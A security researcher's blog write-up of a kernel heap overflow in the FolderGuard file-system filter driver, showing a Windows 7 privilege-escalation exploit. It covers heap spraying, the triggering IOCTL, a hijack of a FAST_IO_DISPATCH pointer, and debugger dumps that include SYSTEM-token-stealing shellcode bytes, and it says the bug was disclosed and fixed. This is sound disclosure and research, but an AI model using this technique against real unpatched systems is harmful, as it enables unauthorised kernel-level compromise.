Exploiting FGuard.sys
Some time ago I looked for a driver to play with. I wanted to find a vuln and to exploit it. After picking a few random drivers from the internet I’ve stumbled upon Folder guard. This application implements folder locking with password, you can read more at: https://www.winability.com/folderguard/ To enforce folder locking FolderGuard leverages legacy file system filter driver fguard32[64].sys.
***
Examination of configuration parser revealed kernel heap overflow in the parser of passwords file (FGuard.fgp). When user locks folder from the UI, FolderGuard creates an entry in the fgp file with the following layout:
00000000 PROTECTED_DIR_DESCRIPTOR struc ; (sizeof=0x2A4, mappedto_295)
00000000 HashCount dd ?
00000004 field_4 dd ?
00000008 PathName dw 260 dup(?)
00000210 field_210 dd ?
00000214 Hash db 32 dup(?)
00000234 Padding dd 28 dup(?)
000002A4 PROTECTED_DIR_DESCRIPTOR ends
Pay attention to HashCount and Hash fields, this where we will have fun. On loading or receiving certain IoCtl the driver parses the fgp file and creates in-memory list of entries. The parser doesn’t verify HashCount field allowing an attacker to set it to a bigger value than actual amount of entries.
So, we can overflow the buffer with arbitrary content that comes from the fgp file. Starting with Windows 8 kernel buffer overflows are not that useful. Windows 7, however, has less mitigations and is vulnerable to heap spray attack.
[Spray different]
I didn’t want just copypaste an existing kernel heap spray implementation but rather wanted to do my own. Browsing HEVD source code I’ve decided to spray the heap with one of the Object manager objects. Creating an object wasn’t a problem: calling certain API function gazillion times did the job. Passing control to the allocated object or some arbitrary code was more problematic.
[FAST_IO_DISPATCH to the rescue]
Windows asynchronus IO model heavily relies on I/O Request Packet (IRP) concept. Whenever an application requests an IO operation from a driver Windows kernel allocates an IRP structure and sends it down to the target device stack. While travelling the stack an IRP might be pended by any driver, e.g. in case the driver doesn’t have the requested data at the moment. Some drivers, however, don’t need these complications. And this is where FAST_IO_DISPATCH comes into play. If a driver can complete requests solely by itself, it can register fast dispatch handlers by setting FastIoDispatch field of its driver object. (I think it’s a must for all FSD drivers). _FAST_IO_DISPATCH struct is just a function table:
When an application performs an IO operation, syscall handler (e.g. NtReadFile in case of ReadFile) checks FO_SYNCHRONOUS_IO flag of the corresponding file object and, if it’s set, calls FastIo handler of the corresponding driver object. Sounds promising, isn’t it?
[Let’s do it]
So, using the overflow, we will build the following chain of object in the kernel pool: We can’t do it with a single overflow, instead, we will trigger the overflow a few times, building one object at a time in reverse order. After every successfull overflow we need to locate the constructed object in memory and to use the obtained pointer to build the next object. To locate the object we mark it with special PointerCount and HandleCount values in the object header. Once overflow succeeds we use NtQueryObject to figure out which handle in the array points to the object and then use NtQuerySystemInformation to get the address of the object. Since fguard.sys reads the fgp file from disk, we drop the rogue fgp file before every overflow.
After dropping the file we start with regular spraying:
Then we create holes. Every hole should be slightly bigger than the size of PROTECTED_DIR_DESCRIPTOR (0x2A4 bytes):
Trigger the overflow by issueing the IoCTL:
DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, NULL);
Go over the array looking for the handle:
Get the address of the object:
Glueing all together:
Now let’s move to the content of the fgp file. The first object we build is the payload, the code that will be called by nt!NtReadFile. If spraying was successfull we expect to get the following memory layout just before the overflow (which happens at fguard32+B4C8 for 32bit driver):
kd> !pool @edi
Pool page 864e9d44 region is Nonpaged pool
864e9000 size: b8 previous size: 0 (Allocated) File (Protected)
864e90b8 size: 1a0 previous size: b8 (Free) ....
864e9258 size: b8 previous size: 1a0 (Allocated) File (Protected)
864e9310 size: b8 previous size: b8 (Allocated) File (Protected)
864e93c8 size: b8 previous size: b8 (Allocated) File (Protected)
864e9480 size: b8 previous size: b8 (Allocated) File (Protected)
864e9538 size: b8 previous size: b8 (Allocated) File (Protected)
864e95f0 size: b8 previous size: b8 (Allocated) File (Protected)
864e96a8 size: b8 previous size: b8 (Allocated) File (Protected)
864e9760 size: b8 previous size: b8 (Allocated) File (Protected)
864e9818 size: b8 previous size: b8 (Allocated) File (Protected)
864e98d0 size: b8 previous size: b8 (Allocated) File (Protected)
864e9988 size: b8 previous size: b8 (Allocated) File (Protected)
864e9a40 size: b8 previous size: b8 (Allocated) File (Protected)
864e9af8 size: 30 previous size: b8 (Free) File
*864e9b28 size: 2b0 previous size: 30 (Allocated) *None ;PROTECTED_DIR_DESCRIPTOR buffer
Pooltag None : call to ExAllocatePool
864e9dd8 size: b8 previous size: 2b0 (Allocated) File (Protected) ;This FILE_OBJECT will be overwitten
864e9e90 size: b8 previous size: b8 (Allocated) File (Protected)
864e9f48 size: b8 previous size: b8 (Allocated) File (Protected)
The content of the file object before the overflow:
kd> db 865228d0 LB8
865228d0 56 00 17 04 46 69 6c e5-00 04 00 00 f8 00 00 00 V...Fil.........
865228e0 00 00 00 00 00 00 00 00-48 58 96 85 01 00 00 00 ........HX......
865228f0 01 00 00 00 01 00 00 00-00 00 00 00 1c 00 0c 40 ...............@
86522900 40 c0 8c 85 00 00 00 00-05 00 80 00 18 12 c0 84 @...............
86522910 48 a9 bf 84 f8 39 48 a2-90 5b 53 a2 a0 ed 7e 85 H....9H..[S...~.
86522920 00 00 00 00 00 00 00 00-b8 68 d8 85 00 00 01 00 .........h......
86522930 00 01 01 01 42 00 04 00-14 00 14 00 08 ce 7a 8f ....B.........z.
86522940 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
86522950 00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86 ............\)R.
86522960 5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86 \)R.........l)R.
86522970 6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86 l)R.........|)R.
86522980 7c 29 52 86 00 00 00 00 |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x1c ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0xc ''
+0x00f Flags : 0x40 '@'
+0x010 ObjectCreateInfo : 0x858cc040 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x858cc040 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
We need to preserve the structre and some values of the pool header and the object header of the file object at 0x864e9dd8. Also, as it was said before, we need to mark the object with special values in the object header. The following fgp file does the job:
The payload starts in the body of the file object and contains shellcode that matches _FAST_IO_DISPATCH::FastIoRead prototype:
The shellcode executes in kernel mode with CPL=0. It jumps to the procedure that copies pointer to SYSTEM token to the EPROCESS struct of the current process.
The content of the file object after the overflow:
kd> db 865228d0 LB8
865228d0 56 00 17 04 46 69 6c e5-00 00 00 00 00 00 00 00 V...Fil.........
865228e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
865228f0 22 22 00 00 22 22 00 00-00 00 00 00 1c 00 04 40 "".."".........@
86522900 00 00 00 00 00 00 00 00-cc e8 00 00 00 00 59 83 ..............Y.
86522910 e9 06 0f 20 e0 0f ba f0-14 0f 22 e0 ff 51 27 8b ... ......"..Q'.
86522920 44 24 1c 31 d2 89 10 89-50 04 b0 01 c2 20 00 c0 D$.1....P.... ..
86522930 d1 97 00 00 42 00 04 00-14 00 14 00 08 ce 7a 8f ....B.........z.
86522940 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
86522950 00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86 ............\)R.
86522960 5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86 \)R.........l)R.
86522970 6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86 l)R.........|)R.
86522980 7c 29 52 86 00 00 00 00 |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n8738 ;Mark
+0x004 HandleCount : 0n8738 ;Mark
+0x004 NextToFree : 0x00002222 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x1c ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x4 ''
+0x00f Flags : 0x40 '@'
+0x010 ObjectCreateInfo : (null)
+0x010 QuotaBlockCharged : (null)
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
Function Overlow listed above returns the address of the constructed object. We use the returned address to build_FAST_IO_DISPATCH function table:
Similarly, we build the rest of objects in the chain and trigger execution by calling ReadFile API:
And finally get our code executed in kernel mode:
kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8b44bb74 82cb5002 0x8652291c
01 8b44bc08 82a85b2d nt!NtReadFile+0x2e9
02 8b44bc08 771b6bb4 nt!KiSystemServicePostCall
03 0016f964 771b5dec ntdll!KiFastSystemCallRet
04 0016f968 7535c4fa ntdll!NtReadFile+0xc
05 0016f9cc 767b9e0a KERNELBASE!ReadFile+0x118
06 0016fa14 00983207 kernel32!ReadFileImplementation+0xf0
07 0016fb90 0098353b E!exploit+0x337
08 0016fd14 00983f2e E!main+0xfb
09 0016fd28 00983d91 E!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78]
0a 0016fd80 00983c2d E!__scrt_common_main_seh+0x151 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 283]
0b 0016fd88 00983fa8 E!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 326]
0c 0016fd90 767befac E!mainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17]
0d 0016fd9c 771d3628 kernel32!BaseThreadInitThunk+0xe
0e 0016fddc 771d35fb ntdll!__RtlUserThreadStart+0x70
0f 0016fdf4 00000000 ntdll!_RtlUserThreadStart+0x1b
[The end]
The vulnerability was reported to the vendor and fixed: https://www.winability.com/folder-guard-18-7-released/
Full source code of the exploit is available at github: https://github.com/zwclose/fguard-exploit/